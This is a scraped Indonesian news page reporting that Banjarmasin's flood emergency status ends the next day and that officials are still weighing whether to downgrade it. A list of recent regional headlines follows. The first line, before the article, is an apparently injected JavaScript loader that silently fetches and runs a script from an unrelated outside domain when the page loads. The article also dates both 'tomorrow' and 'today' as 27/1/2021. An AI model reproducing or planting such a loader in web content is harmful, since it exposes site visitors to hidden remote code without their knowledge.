(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Besok Berakhir, Pemko Banjarmasin Belum Putuskan Status Tanggap Darurat Turun jadi Siaga!


KANALKALIMANTAN.COM, BANJARMASIN– Pemberlakuan status tanggap darurat di Banjarmasin akan berakhir besok, Kamis (27/1/2021). Namun belum dipastikan, apakah statusnya turun jadi siaga darurat atau tidak.

Hal itu disampaikan Plt Kepala BPBD Kota Banjarmasin Budian Noor. Menurutnya, pemko masih menganalisa apakah akan menurunkan status.

“Mengingat masih ada kawasan tergenang banjir dan masih adanya pengungsi. Kita lihat perkembangannya besok apakah dihapuskan atau ke status siaga darurat,” tuturnya, Rabu (27/1/2021).

Menurutnya sendiri, patokan penetapan status bencana di Kota Seribu Sungai sekarang ini tergantung kondisi genangan di dua kecamatan yang dianggap paling parah,
Seperti di wilayah Kecamatan Banjarmasin Timur meliputi Sungai Lulut, Pramuka, Ahmad Yani, Manggis, Gatot Subroto, dan Banjarmasin Selatan. Sedangkan wilayah lain, kondisinya sudah kondusif, dengan klasifikasi ketinggian air kawasan tersebut berbeda, tergantung lokasinya.

Ia menegaskan beberapa kebijakan masih berlaku. Mulai dari posko dapur umum dan distribusi bantuan kepada warga terdampak banjir.

“Sekarang kan tinggal di Kecamatan Banjarmasin Timur dan Selatan saja. Paling parah ketinggian banjir terjadi di kawasan Simpang Limau, di sana masih selutut airnya. Kalau yang lain kan sudah surut secara drastis,” imbuhnya.

Di tambahkannya juga bahwa dengan adanya pembongkaran bangunan yang menutupi saluran air atau drainase untuk mengalirkan air ke sungai yang lebih besar, yakni Sungai Martapura. “Karenanya saat ini di kawasan Banjarmasin Timur khususnya di wilayah Jalan Pramuka dan Dharma Praja sudah mulai berangsur-angsur turun,” pungkasnya.

Ia juga mengatakan untuk penanganan Pasca Banjir, pihak Pemko Banjarmasin akan fokus pada proses rehabilitasi dan pembersihan sampah, bangunan-bangunan yang terdampak. (Kanalkalimantan.com/putra)

 

Reporter : Putra
Editor : Cell

 

 

 

 


Al Ghifari

Recent Posts

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

20 jam ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

1 hari ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

1 hari ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

1 hari ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

2 hari ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

2 hari ago

This website uses cookies.